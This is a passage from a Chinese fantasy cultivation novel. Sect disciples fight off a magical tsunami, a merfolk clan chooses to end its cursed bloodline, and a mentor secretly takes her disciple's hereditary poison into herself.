“师父,这是发生什么事了?”泉芷不解地抬起头,“这么多同门不是来捉我的?” “你个小丫头有这么大本事?”赵有志呵呵气笑了,“禁地被先祖封印在南海之下,聚灵亦能镇海,你们几个胆肥的破境之后,灵气泄出将会造成海内动乱,我等在此是为了压制将要袭来的海啸!” 泉芷恍然抬起头来。与此同时,众人只听身后一声震天动地的低吼,仿佛来自深海里恶鬼的咆哮,压抑着蓄势待发的兴奋。 安蔚然蹙眉望向远方海域:“来了。” 赵有志举起宗门令高声道:“合欢宗众弟子听令!誓要守住合欢防线,阻止海啸侵害人间!” 明易与师弟师妹们对视一眼,迈步上前道:“赵宗主,我们四人也愿效绵薄之力。” 都到这时候了,赵有志也不和他们假客气,呵呵道:“你们这几个……呵呵,在我合欢宗闹出这么大动静,帮个忙也是应该的。” 明易:“……任凭宗主安排。” 合欢宗众人要一同施法巩固护门大阵,石映心几人则被派去杀那些海水带来的变异小怪。匆匆准备之后,耳边已是阵阵如雷鸣的浪声,忽地一声骤响,黑天之下海面之上冲出一座天高的巨山,如泰山压顶一般奔涌而来—— 众弟子俱是一吓,连忙奏响乐曲,无数灵光自乐器中如泡泡般被吹出来。石映心在边上新奇地望去,漫天飞舞的绚丽景色,她还以为自己是在海底看鱼儿们吐泡泡……这些人其实都是鱼吧,她莫名这么想。 鱼泡泡们一边飞舞一边聚集,一个接一个地连结起来,越来越大、越来越亮,最后形成一道DuangDuang的灵力弹球将大片的海岸和合欢宗笼罩了住,石映心就在边缘,顺手摸了摸,触感像水煮蛋。 在那座泰山浪潮袭来之前,前边有几波稍逊色的“小”浪,打在水煮蛋阵法上像要破壳的雏鸡使劲地钻,凸出来好大一块,被两位宗主以及明易等人齐力推回去。 这阵法似乎只挡浪不挡鱼,有许多海鱼群夹杂着因灵力波动而变异的鱼怪顺流而来,一个个飞蛾扑火似地冲进来,打了众人好几巴掌,天上下的是鱼雨,地上四处活蹦乱跳的鱼,有些长牙齿地猝不及防跳起来咬你一口—— “啊!”“靠!”“老子蒸了你!” 场上也是很热闹的,但也免不了受伤。 石映心一剑扫去一片血色,所到之处只鱼不留。鱼血融入沙滩,夜色中瞧不出来,不过踩下的脚步变得沉重了一些。 顾梦真拿出他的云舟,说这玩意可以吸水,果真在空中吸去了许多水浪,真是没想到还有这用处呢;曾换月负责到处找细小的阵法漏洞画符,飞来飞去缝缝补补,防止让千里之堤溃于蚁穴。 大伙忙忙碌碌着,眼见那巨浪越靠越近,心脏也随着打鼓的弟子咚咚咚起来,已经跳到了耳边。 明易在哗哗声中听见安宗主对赵宗主说:“……怕是拦不住这最后一浪。” 那很糟了。冲翻了合欢宗倒是还好,修仙人士尚能自保,可若是让这浪一鼓作气冲到附近的城池,可怜了那些无辜百姓…… 明易仰头望去,二师弟的云舟已经吸满了水,这会是前头吸后头漏,船身上也处处是将要崩溃的裂痕;小师妹画符画得手都不利索了,左手握着右手腕在咬牙强撑;还有那些合欢宗的弟子们,弹琴的手指抽筋,吹笛的嘴巴抽搐……个个都很惨。 至于石映心——嗯?这家伙去哪了? 砰砰。 肩膀上忽然被拍了两下,明易转过头去,看见石映心背着手站在那,一脸无辜地看着他。 这表情他不要太熟悉,明易顿感不妙,镇定地问:“……怎么了?” 事情是这样的,石映心说,她刚刚在那里杀怪鱼,瞧着这么多靶子,就想着正好练练她新学的元婴期剑法“落雨飞花”,简单来说就是能让剑在空中散出无数带剑意的剑影一招击中多个目标,在此情此景用是很合适的,但大概是还不太熟悉的原因—— 然后,乱七八糟的剑影和怪鱼之中,她一眨眼就找不到真的剑了。 然后,她的剑就自己去玩了。 然后,等到她找到剑的时候,就见它插在合欢宗的鲛人雕像上。 然 后,她把剑拔下来,雕像的手就掉了。 说到这,她把背后的手伸出来,手心里捧着一只石雕手,石雕手上还有一个大海螺。这家伙也知道自己闯祸了,脸色有些苦恼地说:“怎么办啊大师兄,师父赔得起吗?” 明易:…… 第67章 大师兄,现在不是责怪师妹的时候! 明易生生咽下一口叹气,正想说“等过了这关再去赔罪”,却见安蔚然突然冒出来,一下抓住了石映心的手腕,后者微惊:“安宗主,实在对不住了,你放心,就是倾家荡产我师父也会赔你的……” “不,”安蔚然接过她手中的石膏手,目光静静地看着它,“过去这么久,没有你,我还想不起这事……” 师兄妹二人对视一眼,不明白她的意思。 安蔚然将手指划破,将血色涂在石膏海螺上,只见莹白的石膏逐渐褪去,竟显出一只晶莹剔透的蓝海螺来,莹莹光辉一看就不凡。安蔚然微微一笑道:“禁地已破,海螺的封印果然会消失,合欢宗有救了。” 话音刚落,就听弟子们传来压抑的惊呼,赵有志在那边大喊道:“蔚然,快来帮忙啊!” 浪近了。它像嘶吼的巨龙,仰天长啸着冲进云层里,压下避无可避的拳头雨点,砰砰砰砸下来,人们第一次知道被雨水打会这么疼。 再近一些。浪潮下跃出一个硕大的水影,上半身是人,她昂首挺胸地往天上游去,下半身是鱼尾,仿佛是这硕大有力的尾巴将巨浪掀起,后又隐入海水中消失不见。 众人一时被这鲛人的水影看呆。 “映心!”泉芷神色焦急地飞来拉住她,“这巨浪中有先祖遗力,此劫难免,你们快逃吧!” 石映心也看出来了,不过:“可是你师父说有办法。” 泉芷:? 轰—— 它来了,浪就在眼前,她跃出了水面重现人世。天地高阔,她一摆鱼尾便能触及;千秋万代,对大海来说不过是转瞬之间。 是鲛人!有弟子在惊呼。 安蔚然镇定地掐诀施法,蓝海螺飘去空中逐渐变大,莹莹的光芒似月色惠及大地,它直面冲来的鲛人巨浪,螺壳像镇山塔一般屹立着——当然苦苦支撑着的是下方的安蔚然,还有一干合欢宗弟子,虽然他们的鱼泡泡阵法的效力不及这海螺半分。 赵有志见安蔚然脸上血色尽失、双手都在颤抖,焦急道:“师妹,这是什么术法,我来帮你!” “不可!”安蔚然咬牙强撑,“只有鲛人才能驱使神螺……” 赵有志一愣,喃喃道:“原来它就是传说中先祖的法宝……可你的修为早已经……唉。” 眼见说有办法结果很难办的安蔚然那边情况很不妙,明易忽然想起什么,拿出一面漆黑的小镜子来。 石映心在边上打鱼,好巧不巧被她瞧见,不过这会她没说什么,只是见大师兄将那黑镜送去蓝海螺边上,一下子就被海浪吞噬进去,不过奇怪的是镜子后并没有海水涌出来,竟然空了这么一截。 这是面照不见人的黑镜,因它有吞噬灵力的奇效,石映心的照人之术自然包含其中,故无法。此镜厉害却危险,天虚仙尊赠予明易的这面只有很小的效用,治治石映心是够的。 治这巨浪——有用但够呛。 果然,没撑多久黑镜就破了,但巨浪鲛人不过是缩小了三分之一的体型,此刻还在同神螺在做最后的抵抗,那神螺也是摇摇欲坠、仿佛下一刻就要破碎。石映心扶住被黑镜破碎反噬的师兄,匆匆落地。 赵有志突然冲来拉住泉芷:“你也是鲛人,快去帮你师父!” 泉芷茫然又慌张地被拉过去,看安蔚然强撑的模样也很着急:“师父,我要怎么做?” “以你我二人的修为是不够的。”安蔚然的声音听着也很虚弱,“不过能挡一会是一会……唉,你是鲛人,这也是你应该做的。你用合欢双修之法辅助我便可。” “好!” 有了泉芷的协助,巨浪鲛人已然褪去二分之一,底下竭力的弟子们忍不住喘气休息:“搞半天了还是这么大,我真撑不住了“已经小了许多了,要不就这样吧”“唉,估计我们宗门要重建了”“宗门是小事,人间半夜来洪水,这要死多少人啊”…… 另一边,石映心把师兄放在沙滩上坐好,见他捂着心面色苍白冷汗淋漓,关心道:“大师兄,你没事吧?” “没事,”明易轻声道,“反噬便是这样,过会便好了,你快去帮忙。” 石映心想了想道:“大师兄,也许我照了安宗主和泉芷也能驱使神螺。” “不可!”明易紧忙拉住她的手,“神螺认的是鲛人血脉,你只是复刻术法,当心被反噬!” “不试试怎么知道?大师兄,我想帮泉芷。” “映心!”明易疼得要死,拉着她的手也不肯放,愁眉盯着她摇摇头,一字一句道,“那是神螺,不是普通法宝,你不要乱来。” 石映心立刻点点头:“好吧,那大师兄你好好休息,我去杀鱼了。” “等等,你……” 飞走了。 明易:…… 石映心飞到泉芷边上,正要照一照,却见她通红的双目忽然对着前方一定,张嘴道:“大姨?二姨小姨?大表姐二表姐小表妹……” 石映心:? 她扭头看去,就见海里冒出好多女人的头,她们爬上岸来,鱼尾变成了人腿。弟子中很多人认出来了:“是泉珍师叔”“还有泉洁师妹!她不是生孩子去了吗”“泉君师姐也有许久不见了”…… 鲛人们走上前来,领头的泉珍笑了笑道:“好久没回来,也来不及带礼物。不过送一些绵薄之力,两位宗主可不要嫌弃。” 安蔚然没力气说话,只是朝她们笑了笑。赵有志在边上七上八下地跳:“各位姐姐真是及时雨,赶紧着帮帮忙吧!” 于是神螺边上便围了一圈鲛人,她们举手施法,束束灵光把神螺高高捧在空中。只见那巨浪中的蓝海螺倏忽变大了许多,亮光穿透幽黑的海水,也不再那么摇摇欲坠,似乎很有希望。 那浪中鲛人急速缩小了几分,似乎也明白局势已变,猛地张开双臂仰天长鸣一声,无声之音动荡了海面,又是一阵破涛汹涌;众弟子发出惨叫,顾及不暇地捂住耳朵;顾梦真的云舟被震破,浇下来的水把他拍打到岸上;曾换月也因来不及修补好面前的缝隙而被海水冲开。 神螺下的鲛人们耳朵里流出血来,个个都在咬牙硬撑。泉芷抬起头看那海空中的鲛人,无声地说了句什么。 先祖。石映心瞧见了。 她擦去耳蜗里流出的血,提剑飞到了空中。 既然大师兄不让她照神螺,那就照这先祖遗力吧。帝血剑在她手掌嗡嗡发抖,一定是兴奋吧?她的剑怎么会胆小呢。 她来到神螺边上,近了才发现这神螺似镇妖塔般高大,那浪还有一座楼那么高,鲛人从海水中冲她而来,怼面时仿佛一张嘴就能把她吃进去。 好大大大大的鲛人,这得用大大大大招。石映心想,很快记起先前在摘星大会的秘境中学到的劈天剑法;不过剑法是厉害的,还得辅佐足够的修为,这时再照了这巨浪的先祖遗力…… 理论上应是可行。 思及此她不再犹豫,起势舞剑,避在神螺的护法之下,不顾时不时泼来的海水,她挥动长剑如游蛇,剑尖划破海水荡出浩然剑气,一招一式在神螺的光辉下如飞燕掠波,蓄势待照—— 明眸之中翻滚起海水,鲛人先祖遗力将她淹溺。石映心一时恍惚,再一睁眼,她坐 在沙滩上,炎日高照着湿润的鱼尾,她举着剑,剑尖离鱼尾只有半寸。石映心第二次做这题,不假思索地将剑穿透肉身,刺心的疼痛只是眉上一丝轻蹙。 她也不怕。 帝血剑划破巨浪鲛人的鱼尾,将她自下而上一分为二。原先还能复原的巨浪竟就此失去了力量,轰然一声分倒两侧,一下砸入海中,发出最后一声哀鸣。回光返照的近岸浪花掀翻了岸上众人,止于合欢宗大门前的鲛人石雕鱼尾下。 遮蔽天色的浪潮终于散去,月辉一片片落下人间。 石映心从天上飞下来,瞧见沙滩上横七竖八躺着许多人,不知怎么觉得这场景有些熟悉,换月她们在哪躺着呢? 找人好累的,想想就脑子累,一累就有点——晕。 “映心!” * 石映心醒来的时候有些不知天地为何物了,她不知道自己睡了多久,只觉得这一觉睡得和平时不大一样,往常睡醒神清气爽,这会体内的真气跟被掏空了似的,下床都有些腿软。 于是又躺回床上,看着床顶缓神,迷迷糊糊地觉得自己好像做了很多梦,但是一个也想不起来。 感到恢复了一些力气之后她就开始在床上打坐,自知这次开大招耗费太多精气神,得要调息修养几天才好。 半个时辰过后,出了一身汗的石映心施了澄净诀后就清清爽爽地出门了。先去师妹房间看了看,里头乱糟糟的没有人;又去找了大师兄和二师兄,也不在。最后是碰巧遇见回来的方翔,得知换月她们在帮合欢宗做修缮工作。 “你这一觉睡了三天三夜。”方翔关怀地看着她,“你师兄他们都很着急呢。” 三天三夜在睡梦中也不过是转瞬的事,石映心并无多大感想地点了点头。 方翔又道:“宗主她们都瞧见了,当时是你拼力将巨浪劈开,不然以副宗主和几位鲛人前辈的修为所合还是很勉强。当然,你们归壹派几人都帮了大忙,否则我们这次定会损失惨重。如今除了沙滩那片狼藉了一些,宗门里倒是安然无恙,最重要的是没有危及人间。” 石映心“嗯”了一声,实话实说:“不过也是因为我们擅闯了禁地才……” “嘘。”方翔把手指放在嘴前,朝她眨眨眼睛,“好了,这事宗主他们不追究的话,你可不要再提了。” 石映心顿了顿:“哦。” “你师兄他们在沙滩那边。” “好,多谢方大哥。” 第68章 石映心来到沙滩,看到上面有很多弟子在捡垃圾和清理沙滩。她四处寻了寻,很快找到挽着裤脚、背着鱼篓正在捡鱼的小师妹和二师兄。二人见她醒了,皆是兴奋地跳过来:“映心,你总算醒了!身子可还有恙?” 石映心说好多了,又问现在是什么情况,大师兄在哪。 顾梦真叹了口气道:“大师兄正在和安宗主他们详谈禁地的事呢。好在这次没酿成大祸,不然赔钱是一回事,我良心也过不去唉。” 说到良心这事,曾换月也有一会的失落内疚,不过她很快又精神道:“师姐,你快看看因果牌如何了?” 石映心这才想起因果牌的事,拿出来一看,诗词消失了大半,只剩下“是我”二字。 是我?是谁呢? 曾换月泄气嘟嘴道:“折腾这一番差点要累死了,结果还剩下两个字!” 顾梦真也是扶额头晕:“这次是真没招了。” 石映心淡定地把牌子收起来,很靠谱地说:“没事,我已经知道了解决鲛人族奇毒的办法。” “是什么!” * 石映心原以为大师兄会很生气,没想到他只是默不作声地看了她一会,竟然没说什么,把食盒往桌上一放,很平静道:“吃完饭好好休息。” 石映心把食盒抱过来,抬眼看他:“大师兄,你想骂我就骂吧。” 明易的视线落在一边的花瓶上:“说了你也不听,我何必白费口舌?” 话是这么说,但是:“我想师兄你骂出来心里能舒服些。” 明易:“呵。” “我好心想帮忙……”石映心已经想好了借口,“难道做好事也有错了?” “我只想你帮些力所能及的忙,最好是顺手而为的那类,”明易的视线落在她手中的食盒上,“而不是这样去逞强……你总是分不清界限。” 石映心无辜道:“我想不明白这么复杂的情况。” 她就是想做就做,要做就做到,很像一根筋思维,这也是她明显缺少“人性”的地方。其实也有会影响她的因素,但她对这些的判定也有些奇怪,比如:只要师父师妹师兄没事,那就能放手去做了。 明易觉得她其实很好懂,但因与常人不同而费解。 思来想去只有一声叹气:“你现在好受多了?修为恢复得如何?” 石映心便听出来他是不生气了:“好受多了,修为也恢复了大半。” 明易微微颔首,又道:“这几日你好好休息,不要再四处折腾。” “嗯嗯。”石映心应和下来,“我明白的师兄,我要好好恢复,过两日还要和泉芷双修呢。” 明易:“……嗯。” 等等:“你说什么?!” * 方大哥说泉芷这两日很忙,忙着招待从海里回来一聚的各位鲛人亲戚。石映心便想着过两日再去找她。 大师兄对她要和泉芷双修的事表示不同意,她那会是点点头了,但是毕竟先答应了泉芷,就先来后到地履行承诺吧。 两日后泉芷总算得了空,主动来找她,还带来了一些合欢宗特产补品,说要让她好好补身子,石映心听她说起来很好吃,于是都收了下来。 二人在桌上对坐,石映心念着因果牌的事,主动开口道:“泉芷,我已经知晓了解你们鲛人族奇毒的办法。” 若是往常,泉芷定是迫不及待地追问起来,但这会她却反常地沉默了,佁然不动地望着她望了一会,扬起一个浅浅的笑来:“多谢你,其实我也知道了。” 石映心看看手中的茶盏,又看向她说:“是吗,那你如何想呢?” “我……”她顿了顿,忽然转了话题,“能让我看看你的因果牌吗?” 石映心便拿出牌子给她,见泉芷接过来放在手心看了会,低声念道:“是我。” 石映心:“只剩下这两字了。” 泉芷朝她笑了笑道:“原来答案真的就在这句诗中。” “答案?”石映心看她有些苦涩的笑容,不解道,“什么答案?今日方知我不是我?” “对。”泉芷微一颔首,似乎也叹了口气,“原先我不明白……或者说不想明白。直到去了海螺村才认清事实。人自生来便带业障,寻常人也许不明显,可海螺村的千秋万代却将这真相血淋淋地展露了。我、我不能再不明白。” “明白什么?” “明白只要我们还活着,只要血脉继续传承,错误便会永不停止……这份因果看似伴我这一生,实则随我入永世轮回……原来我生生世世都是一条身中奇毒的鲛人。我生了我,我留下了因,也成为了果。我不是我,是累世因果的集成。” 累世因果? 石映心想到一只眼睛的唯唯,她在几百年前选择和一只眼睛的男人结婚,也许她之后生下了一只眼的孩子,自己的来世也变成了一只眼,甚至可能就是她孩子的孩子。 是因为她让一只眼遗传了吗? 泉芷走神地说到这里,揉揉眼睛回神来,语气轻松了一些:“其实我想,我们族人隐隐约约也有察觉了,不然为何这几十年生子的鲛人越来越少,有许多人都死在了二十生辰。” “也许……”泉芷对她苦笑道,“我也要死了吧。” “或者说……”她深呼一口气道,“再过几十年,世上便不会有鲛人了。” 这成了一个种族灭绝的问题,要曾换月在这就要哭天抢地喊可惜了,但石映心显然对这情况没有 什么概念,她只是问:“我不想你死,没有其他办法吗?” 听到她这么说,泉芷有些开心,宽慰她道:“我不怕死。你知道吗映心,二十年其实也不短了,世上还有只活一天的蜉蝣,它们朝生暮死……” 石映心:“我又不认识它。” 泉芷:…… “映心,”她拉住她的手说,“我想要自由,我不想下辈子再被奇毒约束,更不想让所有应该自由的灵魂被拘禁在我们种族的牢狱里。不只是我,我大姨二姨三姨大表姐二表姐小表妹……她们都这么想,我们已经决定服下绝子毒。” 原来泉芷这几天在和鲛人们商量这事,大家都同意了? “先祖劈尾上岸,传法建功,繁衍子嗣,定是想我们鲛人一族昌盛兴旺、源远流长;可惜天不随人愿,竟让这错误传下来了……起始是不易,我没有先祖那般强大的神力,但我想……我们会有结束一切的勇气。” 瞧她坚定的笑容,石映心有些感触,不由得照了照她含泪的眼睛: 只觉得身处茫茫大海中,所有的恐惧和悲伤都很渺小;她只是一个鱼泡泡,在海水中轻飘飘地自由。 这就是拥有勇气的感觉吗? 石映心轻呼一口气,对泉芷点点头说:“你们鲛人族确实很强大。” 泉芷抹去眼泪笑出声来:“不管怎么说,我们都是先祖的后人!” “既然如此,我们快些双修吧,马上我便要回门派了。” “你还记得这事!”泉芷其实有些不好意思提,闻言感动道,“我原以为当时你只是在安慰我……” 石映心摇摇头道:“答应你了我便会做到……” 顿了顿又补充说:“不过你别和我大师兄说,我也答应他不和你双修了。” “……好。” 她们约定今晚夜深人静时双修,临走前泉芷和她说:“对了映心,每回抗洪成功后,宗门都会在沙滩上举办烟火大会庆祝,到时有吃有喝很热闹的,明晚我们一同去玩吧?叫上换月她们一起。” 石映心说好啊好啊。 当晚月明星稀时,二人便在沙滩上某一礁石后对坐双修,这对石映心来说是次很稀奇的体验,她以往调控真气时并不知道自己的灵气这么炙热,但触及泉芷的冰冷之后交融成温,确实暖暖的很舒心,像是喝下温水一般熨帖。 双修就如泉芷先前所说,能以彼之阳补我之阴,以我之阴泄彼之阳,如此平衡体内真气丹田,达到阴阳两齐,化生不已的境界。 这样平衡协调的功法是归壹派没有的,尤其对她们剑修来说,常常是要追求极致:像明易的寒竹剑便是属寒,剑气冻人。石映心想大师兄应是偏体寒一类的;曾换月和顾梦真就不太明显,也许阴阳在他们体内只是略有参差。 至于她自己……她先前没感觉,这会和泉芷一双休,似乎她是偏阳的?毕竟泉芷说她们鲛人族体质特殊,要比寻常人更阴盛阳衰一些,而她能和泉芷平衡阴阳的话,她便是阳盛了。 石映心抬眼看见对坐的泉芷,她闭着眼睛神色专注,双唇微微勾起似乎很高兴。两团灵气将二人包裹起来,在月色下中发着双色交融的光。 嗯……双修确实很舒服,石映心想,不过这似乎不是剑修想要的。 还好她不是合欢宗的弟子。 “可惜你不是合欢宗的弟子。”双修完后,泉芷很是可惜,“我从未没有过如此合适美妙的双修体验……唉。” 死前有一回也值了,她默默地想。 石映心和她双修完,感到自己对泉芷又多了一些感情:“你若是喜欢,明日我们再来。” “不行呀。”泉芷摇摇头道,“明日我便要服毒了,师父说要帮我疏通经脉,以免绝子毒让我不好受……我和你双修会被师父发现古怪的;再说我吃了新毒,也不知道对你有没有影响……” 她说到这事,石映心忽然想到那日安蔚然驱使神螺的画面:“对了,原来安宗主也是鲛人。” “是呀,”泉芷解释道,“师父原名泉蔚然,普天之下只有鲛人族姓泉,她为了隐瞒身份留在合欢宗,只好改了姓,和师父的师父,也就是我的师公姓。” “为何要隐瞒身份?” “鲛人族二十生辰后会修为大减一事许多人都知晓,身为一个门派的副宗主,怎么能只有金丹境界呢?师父为了留在合欢宗、用副宗主身份之便找解毒之法,只好隐瞒身份、出此下策……” 说到这泉芷朝她嘘了嘘:“知道这事的人不多,映心你要保密哦。” 石映心答应下来,又问:“那安宗主也生了孩子吗?” “嗯。”泉芷微微压低声音,“不过听说那孩子出生没多久就早夭了。说来我和师父也有些相像,听说我娘是在某此找解毒之法的途中意外去世了……嗐,师父一直待我很好,也许我们俩是在互相补偿吧?” 说到这她转悲为喜地笑道:“好在师父已经生过孩子,她能活得更久一些。” 石映心不知道怎么安慰她,只好点了点头。 第69章 “映心,你要好好的,也不要为我伤心。也许等我来世我们还能再见呢?到时候你一定……能认出我吧?” 石映心睡前躺在床上又想起这句话,当时她是点了点头,但现在回想一下,自己也照不出一个人的前世啊,要怎么认出泉芷呢? 可见她眼中的期待,仿佛只是想得到一个虚假的承诺,就像安慰的话一般,真假都是这么说的。 所以她还是应下了。 隔日。 大伙一起用午膳的时候,曾换月说泉芷的鲛人亲戚们都回去了,她早上凑巧瞥见一眼,觉得她们脸色都不大好看,应是都服过毒了。 “唉,”说到这她叹息一声,“难道几十年后,世上真的不会再有鲛人了?还有泉芷,她真的只能……”说不下去。 顾梦真也感叹道:“也许这就是最好的结局了吧。我们应该为她们高兴才是,总算能摆脱奇毒的控制了,这是她们百年来的夙愿……” “梦真说得对,应要把目光放长远些,”明易平静道,“清除业障,来世才会更好。” 石映心吞下虾饺:“但是来世她便不是泉芷了。” 明易:“这不正是她所希望的吗?” 石映心想了想,那倒也是。 从我不是我,到我是我,也许这就是泉芷她们想要的自由。 用完膳,他们决定去看看泉芷的情况,顺便问问晚上烟火大会的事。先是在泉芷的屋前碰见了方翔,他说泉芷在安蔚然那;于是又去了副宗主的住处,却见赵有志蹲在门口,瞧着很失神的模样。 明易上前做扶状,却被他摆摆手拒绝:“你们来找泉芷?” “是。” “唉,”他叹气一声,“等等吧,蔚然正在帮她……调整体内毒素。” 大伙应了一声,就站在门口等。面面相觑着都有些奇怪,为什么这赵宗主看着无精打采的?但又不好意思问——主要是曾换月捂住了师姐的嘴巴不让她问。 几人耐心地等了一会,忽然听见里头传来泉芷的叫声:“师父!” 他们皆是一惊,纷纷将目光投向赵有志询问什么情况啊,但这人却还是摇头叹气,真叫人着急。 又一声:“师父——” 石映心一脚踹开屋门闯了进去,她师兄妹一边叫着“哎呀师妹(师姐)”一边紧跟着跳进去看情况。 几人进了屋,就见泉芷坐在床上,怀里抱着她师父,正流泪不止地痛哭着;他们看清景况后皆是一愣,只因早上见过还好好的安蔚然,此时靠在泉芷怀中,神情疲累、满头白丝,脸上多了许多可怖的青黑色纹路。 石映心等人压根不知道发生什么事了,只好变成木鸡呆在原地;泉芷哭得上气不接下气,自然不能勉强她解释一番。 这时候赵有志叹着气进来了:“唉,还是让蔚然炼成了禁术。” 泉芷崩溃地问:“宗主!我师父究竟怎么了?” 事已至此,还有什么不能说的呢? “其实你……你师父许久之前就猜想奇毒根本无法可解,她便想另辟蹊径,又从你们鲛人生子传毒一事中得了启发,觉得世上应有办法能让鲛人奇毒传给他人……于是东搜西罗,在古籍中找到了一种有概率可行的传毒禁术。” 赵有志看向安蔚然,长叹道:“她苦苦研究几年,总算习得此法,只待在你二十生辰前一试……只不过此禁术条件苛刻,需要血脉相连、且修习同脉双修之法的二人才可传毒,你们二人倒是符合的。唉……如今你身上的毒传到了你师父身上,便不怕短命了。” 可她不短命,谁短命呢? 听了来龙去脉,几人都很唏嘘。泉芷无法接受地抱着师父哭:“师父你何必呢?泉芷无用,多活这几十年又有何差别?” 安蔚然轻笑道:“我已然比你多活了几十年,自然知道有差别。你放心,我至少还有一年可活……还要教你和方翔许多事……” “师父,你快把禁术传授于我,我要把毒拿回来!” “傻瓜,”安蔚然无奈地擦去她一小片眼泪,“禁术对每人仅有一次效用,且不是那么容易习得。我们族人苦寻解毒之法一辈子,便是不想听天由命,如今……我也算是逆天而行,死而无憾了。” 泉芷泣不成声:“可你要我怎么办?你要我怎么办……” 安蔚然道:“为我们鲛人族、为合欢宗倾注心血,为你延长寿命,我此生的成就便到此为止了。小芷,你还年轻,你能比我做得更多……” “师父,我只想救你……” “别说傻话。”安蔚然竭力地握住徒儿被泪水打湿的手,一字一句道,“你还要替我……走遍八大洲、天涯海角,找到让我们鲛人族血脉延续的办法……在那之后我们再做大海的女儿……好好地活……” 话音渐消,安蔚然力竭地晕睡了过去。 “师父……师父……”泉芷压低声音喃喃道,“你太为难小芷了……” 众人都感到很悲伤,曾换月和顾梦真都已经在抹眼泪了。赵有志擦去泪花说:“好了,都出去吧,让副宗主好好歇息,人还没死呢,都别哭哭啼啼的了。” 大家只好出门还清静。泉芷已经魂不守舍的了,几句安慰的话都显得轻飘飘,无奈只好让她自己待着静一静。 赵有志问他们什么时候走,明易说明日就走,他又叹气道:“哦,这么快就走了。有你们在,我这几日格外热闹。” 几人:…… 看他憔悴的神色,有些分不清说的是真话假话。 赵有志:“我叫弟子备些特产给你们带回去,日后有空再来玩吧。” 连连点头说好,多谢赵宗主了。 师兄妹四人聚在屋里,气氛很沉闷。曾换月双眼红红,哼了哼鼻涕道:“世上没有两全法,好消息是泉芷不会死了,坏消息是安宗主要死了,呜呜呜!她们都太可怜了……” “唉。”顾梦真叹气说,“我倒是能理解安宗主的做法……这奇毒真是害人那。” 石映心道:“不过安宗主说的……让鲛人族血脉延续的办法是什么意思?” 曾换月猜测道:“应是她想让泉芷去找能让鲛人族继续存在但血脉却不带奇毒的办法……嗐,这不又是一道千古难题了吗?” “我想安宗主只是想让泉芷有个活下去的动力吧,”顾梦真这么想,“毕竟如果只是单纯地活着,泉芷会有很大的压力;得给她找个事干,最好让她觉得自己活着很有意义。” 石映心听二人的意思:“所以,这还是个无解之题?” “嗯……这个嘛……” “不一定。”默不作声的明易忽然站起来道,“好似有些线索。” 说着转身就离开了,留下三人在屋里冒问号。 好在没等三人瞎扯太久他就回来了,手上还拿着一本有些破旧的书,在师妹师弟们好奇的眼光中他翻开一页摊在桌上道:“前几日我查阅合欢宗古籍发现,这本书中曾简略提过鲛人族的起源。” “鲛人族的起源?”曾换月张了张嘴,“是说世上第一只鲛人是怎么来的?” 明易颔首:“嗯,大多数书册写鲛人一族是从泉绮开始记载,嫌少有提到泉绮是从何处来的。我先前翻阅到这本,觉得它说得有几分可能。” 石映心定睛看了看,念道:“……颛顼死后,风吹其魂魄入昆仑之墟神泉之中,汲天地日月精华化身鲛人。” 精通各种事物转化的顾梦真立刻意识到:“这意思是魂魄可以在神泉中再生为鲛人?鲛人的魂魄没有毒啊!” 曾换月有些激动道:“但这样也算是一种血脉延续的办法啊!就算是新的鲛人也是鲛人……不过写这本书的人居然连这都知道,太厉害了!作者是谁?” 关于这个简单的问题,明易却诡异地顿了顿,然后把书翻到封面上:“作者无名。” 不过书名还是有的,而且大家都看见了,叫《胡说》。 师兄妹几人:…… 起码起个有可信度一点的名字啊这位无名人士。 “呵呵,”曾换月露出一个忍不住无语的笑,“不管怎么说,我们先把这个线索告诉泉芷吧……” 顾梦真已经开始琢磨起来:“如果真的存在神泉,且她能在安宗主仙逝之前找到,也许安宗主的魂魄能以此重塑肉身……这何尝不是另一种活着呢?” 石映心听大家说得很有道理,立即站起来道:“我现在就去。” 拿着书就走了,动作快到她师兄师妹都没反应过来。 石映心把书交给眼眶红红的泉芷,简单说明了情况,泉芷哭得头晕,显然听得云里雾里的,不过还是抱着书和她道谢。 没眼力见的某人又问晚上的烟火大会你去吗,泉芷很歉疚地说不去了。石映心倒没勉强她,离开前让她好好休息。 回去的路上还碰到了方翔,二人简单打了招呼,石映心看他也是一副灵魂出窍的模样,没说几句就告辞了。 告辞了方翔她才回过味来,对她来说安宗主只是个认识的陌生人,自然不及泉芷重要;但对泉芷和方翔来说,安宗主是养育教导他们长大的师父……设身处地想一想,如果她的师父也快死了……(慕雲:呸呸呸) 石映心便忧愁起来。 回到住处,换月她们已经回去了,石映心坐在桌边发了会呆,突然想起什么拿出因果牌看了看,牌面空无一字,很干净。 是了,鲛人族已经服了毒…… 她牵起嘴角笑了笑,觉得这一切都没错。 就算流了许多血……就算要死许多人……但活着不代表对,死亡也不全是悲剧。 现下的悲伤都是短暂的,哪怕无法抛去。 第70章 皓月当空。 沙滩上很热闹,长长两条的摊位横在岸边,张灯结彩很辉煌,映在安分的海面上一片片游彩。远远走来就听见许多高兴的乐曲,伴着晚风吹水花的声音,有种别样的风情。 合欢宗的海边集市和她们靠山吃山的归壹派自然有很多区别,比如卖的东西大有不同,像是一些彩色海螺珊瑚制品,还有各种各样的鱼骨。卖鱼骨的摊位会把一副大鱼骨高高地挂起来,这当然是不卖的,只是炫耀自己曾钓过此等巨鱼。 在这类摊位边上一般还有争执声,比如:“这么大鱼骨假的吧?一看就是仿制的”“呸你个钓不到大鱼说鱼假的,我告诉你我可是留了影的”“谁要看了真无聊谁知道是不是用法术抓的鱼”“老娘就是钓上来的”……诸如此类。 还有一些贝壳、珍珠做的首饰,用的是银料子,上头还洒了金粉银粉,在夜色中转一转就会熠熠发光。什么发簪、颈饰,手环应有尽有,还有单纯摆着看的小玩意,个个都很精致。 顾梦真问了价格,居然和他们山上的木首饰差不多,他就打算多买一些带回去,到时候涨价卖给女同门肯定很有市场,再涨更高价卖给男同门让他们送女弟子嘿嘿嘿嘿。 不远处,曾换月挤在一群女弟子之间,打开书摊上一本据说销量很高的话本《靓仔好逑》,打算观摩学习。 翻开见【】 70-80 第71章 曾换月:…… 唔系吖嘛,有冇国语版的? 一个来进货,一个来学习,四人逛着逛着就不见了两人。石映心停在一个卖铜镜的摊位前,这些镜子上粘了一些珍珠贝壳珊瑚和通草花做装饰,每一面看起来都精美华贵。 她随手拿起一面看了看,从镜子中和身后的大师兄四目交汇。 